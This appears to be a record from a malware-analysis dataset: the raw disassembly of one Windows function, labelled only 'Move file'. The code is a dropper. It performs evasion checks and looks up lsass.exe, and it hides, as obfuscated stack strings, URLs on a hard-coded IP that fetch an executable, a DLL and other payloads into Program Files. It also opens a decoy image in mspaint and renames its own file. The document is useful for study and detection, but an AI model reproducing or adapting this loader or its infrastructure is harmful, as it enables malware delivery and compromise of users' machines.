Function at 0x140008f1c
Capabilities:
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x740
mov rax, qword [0x140114728]
xor rax, rsp
mov qword [rsp + 0x730], rax
call fcn.140008af8
call fcn.14000488c
xor edi, edi
test al, al
je 0x140009bd1
call fcn.140004828
test al, al
jne 0x140009bd1
call fcn.140008af8
call fcn.1400051f4
test al, al
jne 0x140009bd1
call fcn.140004670
test al, al
jne 0x140009bd1
call fcn.14000493c
test al, al
jne 0x140009bd1
call fcn.140008af8
call fcn.140004f60
test al, al
jne 0x140009bd1
call fcn.140008af8
call fcn.14000483c
test al, al
jne 0x140009bd1
call fcn.140008af8
call fcn.140006f80
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400c3d68]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x1400c3d50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x48]
xor r8d, r8d
lea edx, [rdi + 1]
lea ebx, [rdi + 0x14]
mov ecx, ebx
call rax
lea rcx, str.lsass.exe
call fcn.14000849c
mov dword [rsp + 0x30], eax
test eax, eax
jne 0x14000904c
or eax, 0xffffffff
mov rcx, qword [rsp + 0x730]
xor rcx, rsp
call fcn.14006ba60
lea r11, [rsp + 0x740]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
xor r8d, r8d
mov dl, 1
mov ecx, ebx
call fcn.14000dfb8
lea r9, [0x140114604]
lea r8, str.MZER
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.140002c28
mov rbx, qword [rax]
mov qword [rax], rdi
mov qword [rsp + 0x40], rbx
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140009095
mov rax, qword [rcx]
mov edx, 1
call qword [rax + 0x18]
mov rcx, rbx
call fcn.14000f428
nop
test rbx, rbx
je 0x1400090b2
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax + 0x18]
nop
mov dword [rsp + 0x160], 0x740068
mov dword [rsp + 0x164], 0x700074
mov dword [rsp + 0x168], 0x2f003a
mov dword [rsp + 0x16c], 0x32002f
mov dword [rsp + 0x170], 0x360030
mov dword [rsp + 0x174], 0x32002e
mov dword [rsp + 0x178], 0x330033
mov dword [rsp + 0x17c], 0x31002e
mov dword [rsp + 0x180], 0x390032
mov dword [rsp + 0x184], 0x38002e
mov dword [rsp + 0x188], 0x2f0035
mov dword [rsp + 0x18c], 0x660066
mov dword [rsp + 0x190], 0x750061
mov dword [rsp + 0x194], 0x6c0063
mov dword [rsp + 0x198], 0x2e0074
mov dword [rsp + 0x19c], 0x780065
mov dword [rsp + 0x1a0], 0x65
mov dword [rsp + 0x270], 0x740068
mov dword [rsp + 0x274], 0x700074
mov dword [rsp + 0x278], 0x2f003a
mov dword [rsp + 0x27c], 0x32002f
mov dword [rsp + 0x280], 0x360030
mov dword [rsp + 0x284], 0x32002e
mov dword [rsp + 0x288], 0x330033
mov dword [rsp + 0x28c], 0x31002e
mov dword [rsp + 0x290], 0x390032
mov dword [rsp + 0x294], 0x38002e
mov dword [rsp + 0x298], 0x2f0035
mov dword [rsp + 0x29c], 0x660066
mov dword [rsp + 0x2a0], 0x630075
mov dword [rsp + 0x2a4], 0x72006f
mov dword [rsp + 0x2a8], 0x2e0065
mov dword [rsp + 0x2ac], 0x6c0064
mov dword [rsp + 0x2b0], 0x6c
mov dword [rsp + 0x1e8], 0x740068
mov dword [rsp + 0x1ec], 0x700074
mov dword [rsp + 0x1f0], 0x2f003a
mov dword [rsp + 0x1f4], 0x32002f
mov dword [rsp + 0x1f8], 0x360030
mov dword [rsp + 0x1fc], 0x32002e
mov dword [rsp + 0x200], 0x330033
mov dword [rsp + 0x204], 0x31002e
mov dword [rsp + 0x208], 0x390032
mov dword [rsp + 0x20c], 0x38002e
mov dword [rsp + 0x210], 0x2f0035
mov dword [rsp + 0x214], 0x690078
mov dword [rsp + 0x218], 0x2e0067
mov dword [rsp + 0x21c], 0x690076
mov dword [rsp + 0x220], 0x78
mov dword [rsp + 0x2c0], 0x740068
mov dword [rsp + 0x2c4], 0x700074
mov dword [rsp + 0x2c8], 0x2f003a
mov dword [rsp + 0x2cc], 0x32002f
mov dword [rsp + 0x2d0], 0x360030
mov dword [rsp + 0x2d4], 0x32002e
mov dword [rsp + 0x2d8], 0x330033
mov dword [rsp + 0x2dc], 0x31002e
mov dword [rsp + 0x2e0], 0x390032
mov dword [rsp + 0x2e4], 0x38002e
mov dword [rsp + 0x2e8], 0x2f0035
mov dword [rsp + 0x2ec], 0x4e002f
mov dword [rsp + 0x2f0], 0x550054
mov dword [rsp + 0x2f4], 0x450053
mov dword [rsp + 0x2f8], 0x2e0052
mov dword [rsp + 0x2fc], 0x6e0070
mov dword [rsp + 0x300], 0x67
mov dword [rsp + 0x118], 0x3a0043
mov dword [rsp + 0x11c], 0x5c005c
mov dword [rsp + 0x120], 0x720050
mov dword [rsp + 0x124], 0x67006f
mov dword [rsp + 0x128], 0x610072
mov dword [rsp + 0x12c], 0x20006d
mov dword [rsp + 0x130], 0x690046
mov dword [rsp + 0x134], 0x65006c
mov dword [rsp + 0x138], 0x5c0073
mov dword [rsp + 0x13c], 0x66005c
mov dword [rsp + 0x140], 0x610066
mov dword [rsp + 0x144], 0x630075
mov dword [rsp + 0x148], 0x74006c
mov dword [rsp + 0x14c], 0x65002e
mov dword [rsp + 0x150], 0x650078
xor r15d, r15d
mov word [rsp + 0x154], r15w
mov dword [rsp + 0x228], 0x3a0043
mov dword [rsp + 0x22c], 0x5c005c
mov dword [rsp + 0x230], 0x720050
mov dword [rsp + 0x234], 0x67006f
mov dword [rsp + 0x238], 0x610072
mov dword [rsp + 0x23c], 0x20006d
mov dword [rsp + 0x240], 0x690046
mov dword [rsp + 0x244], 0x65006c
mov dword [rsp + 0x248], 0x5c0073
mov dword [rsp + 0x24c], 0x66005c
mov dword [rsp + 0x250], 0x750066
mov dword [rsp + 0x254], 0x6f0063
mov dword [rsp + 0x258], 0x650072
mov dword [rsp + 0x25c], 0x64002e
mov dword [rsp + 0x260], 0x6c006c
xor r12d, r12d
mov word [rsp + 0x264], r12w
mov dword [rsp + 0x1b0], 0x3a0043
mov dword [rsp + 0x1b4], 0x5c005c
mov dword [rsp + 0x1b8], 0x720050
mov dword [rsp + 0x1bc], 0x67006f
mov dword [rsp + 0x1c0], 0x610072
mov dword [rsp + 0x1c4], 0x20006d
mov dword [rsp + 0x1c8], 0x690046
mov dword [rsp + 0x1cc], 0x65006c
mov dword [rsp + 0x1d0], 0x5c0073
mov dword [rsp + 0x1d4], 0x78005c
mov dword [rsp + 0x1d8], 0x670069
mov dword [rsp + 0x1dc], 0x76002e
mov dword [rsp + 0x1e0], 0x780069
xor r13d, r13d
mov word [rsp + 0x1e4], r13w
mov dword [rsp + 0xd8], 0x3a0043
mov dword [rsp + 0xdc], 0x5c005c
mov dword [rsp + 0xe0], 0x730055
mov dword [rsp + 0xe4], 0x720065
mov dword [rsp + 0xe8], 0x5c0073
mov dword [rsp + 0xec], 0x50005c
mov dword [rsp + 0xf0], 0x620075
mov dword [rsp + 0xf4], 0x69006c
mov dword [rsp + 0xf8], 0x5c0063
mov dword [rsp + 0xfc], 0x4e005c
mov dword [rsp + 0x100], 0x550054
mov dword [rsp + 0x104], 0x450053
mov dword [rsp + 0x108], 0x2e0052
mov dword [rsp + 0x10c], 0x6e0070
mov dword [rsp + 0x110], 0x67
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x270]
call fcn.140004d60
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x1e8]
call fcn.140004d60
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa8], r13
mov qword [rsp + 0xb0], 7
mov word [rsp + 0x98], r13w
lea rcx, [rsp + 0x118]
call fcn.140088dc4
mov r8, rax
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x98]
call fcn.140006f04
nop
mov qword [rsp + 0x78], r13
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x90], 7
lea rcx, [rsp + 0x160]
call fcn.140088dc4
mov r8, rax
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x78]
call fcn.140006f04
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x78]
call fcn.140004d20
mov rdx, qword [rsp + 0x90]
mov edi, 0x1000
cmp rdx, 8
jb 0x140009732
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, rdi
jb 0x14000972d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009bde
call fcn.14006b4a8
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x90], 7
mov word [rsp + 0x78], r13w
mov rdx, qword [rsp + 0xb0]
cmp rdx, 8
jb 0x140009790
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, rdi
jb 0x14000978b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009be4
call fcn.14006b4a8
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x2c0]
call fcn.140004d60
test al, al
je 0x140009820
lea r9, [rsp + 0xd8]
lea r8, str.mspaint.exe___s_
mov edx, 0x104
lea rcx, [rsp + 0x310]
call fcn.140009c58
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0xd8]
lea r8, str.mspaint.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rbx, rax
mov eax, 0x20
cmp ebx, eax
jg 0x14000983b
lea rdx, str.Failed_to_open_image_file_with_mspaint._Error:
lea rcx, [0x14011a7a0]
call fcn.14000176c
mov rcx, rax
mov edx, ebx
call fcn.140003e18
jmp 0x140009833
lea rdx, str.Failed_to_download_the_file.
lea rcx, [0x14011a7a0]
call fcn.14000176c
mov rcx, rax
call fcn.140002bf0
mov r8d, 0x104
lea rdx, [rsp + 0x520]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 0xa
lea rcx, [rsp + 0xb8]
call fcn.1400086fc
nop
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r13w
lea rcx, [rsp + 0x520]
call fcn.140088dc4
mov r8, rax
lea rdx, [rsp + 0x520]
lea rcx, [rsp + 0x58]
call fcn.140006f04
nop
lea rcx, [0x1400c3e7c]
call fcn.140088dc4
mov r12, rax
lea rbx, [rsp + 0x58]
mov r14, qword [rsp + 0x58]
mov r15, qword [rsp + 0x70]
cmp r15, 8
cmovae rbx, r14
test rax, rax
je 0x140009af3
mov rsi, qword [rsp + 0x68]
test rsi, rsi
je 0x140009af3
xor edx, edx
mov r8d, 0x100
lea rcx, [rsp + 0x310]
call fcn.14006d800
lea r9, [0x1400c3e7c]
mov rcx, r9
lea rdx, [r9 + r12*2]
mov r10d, 0x100
cmp r9, rdx
je 0x140009925
cmp word [rcx], r10w
jae 0x14000995b
movzx eax, byte [rcx]
mov byte [rsp + rax + 0x310], 1
add rcx, 2
cmp rcx, rdx
jne 0x14000990b
lea rcx, [rsi - 1]
or rax, 0xffffffffffffffff
cmp rcx, rax
cmovb rax, rcx
lea r8, [rbx + rax*2]
cmp word [r8], r10w
jae 0x14000994c
movzx eax, word [r8]
cmp byte [rsp + rax + 0x310], r13b
jne 0x1400099a4
cmp r8, rbx
je 0x140009af3
sub r8, 2
jmp 0x140009938
lea rcx, [rsi - 1]
or rax, 0xffffffffffffffff
cmp rcx, rax
cmovb rax, rcx
lea r8, [rbx + rax*2]
mov rcx, r12
mov rax, r9
test r12, r12
je 0x140009993
movzx edx, word [r8]
cmp word [rax], dx
je 0x14000998e
add rax, 2
sub rcx, 1
jne 0x14000997d
jmp 0x140009993
test rax, rax
jne 0x1400099a4
cmp r8, rbx
je 0x14000999e
sub r8, 2
jmp 0x14000996e
or r8, 0xffffffffffffffff
jmp 0x1400099aa
sub r8, rbx
sar r8, 1
cmp r8, 0xffffffffffffffff
je 0x140009af3
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa8], r13
mov qword [rsp + 0xb0], 7
mov word [rsp + 0x98], r13w
inc r8
cmp rsi, r8
cmovb r8, rsi
lea rdx, [rsp + 0x58]
cmp r15, 8
cmovae rdx, r14
lea rcx, [rsp + 0x98]
call fcn.140006f04
nop
lea r8, [rsp + 0xb8]
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x78]
call fcn.1400019d8
mov rbx, rax
lea rax, [rsp + 0x58]
cmp rax, rbx
je 0x140009a9a
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140009a63
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, rdi
jb 0x140009a5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009bea
call fcn.14006b4a8
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r13w
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.14006d150
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 7
mov word [rbx], r13w
lea rcx, [rsp + 0x78]
call fcn.140006ab8
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 8
jb 0x140009ae9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, rdi
jb 0x140009ae4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009bf0
call fcn.14006b4a8
mov r14, qword [rsp + 0x58]
mov r15, qword [rsp + 0x70]
lea rdx, [rsp + 0x58]
cmp r15, 8
cmovae rdx, r14
lea rcx, [rsp + 0x520]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x140009b37
lea rdx, str.File_renamed_successfully_to
lea rcx, [0x14011a680]
call fcn.14000176c
mov rcx, rax
lea rdx, [rsp + 0xb8]
call fcn.1400019bc
jmp 0x140009b5c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Failed_to_rename_the_file._Error_code:
lea rcx, [0x14011a7a0]
call fcn.14000176c
mov rcx, rax
mov edx, ebx
call fcn.140003fd4
mov rcx, rax
call fcn.140002bf0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140009b9f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, rdi
jb 0x140009b9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009bf6
call fcn.14006b4a8
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r13w
lea rcx, [rsp + 0xb8]
call fcn.140006ab8
mov eax, 1
jmp 0x14000901a
lea rcx, [0x14011a278]
call fcn.1400055c8
nop
call fcn.14007bf34
nop
call fcn.14007bf34
nop
call fcn.14007bf34
nop
call fcn.14007bf34
nop
call fcn.14007bf34
int3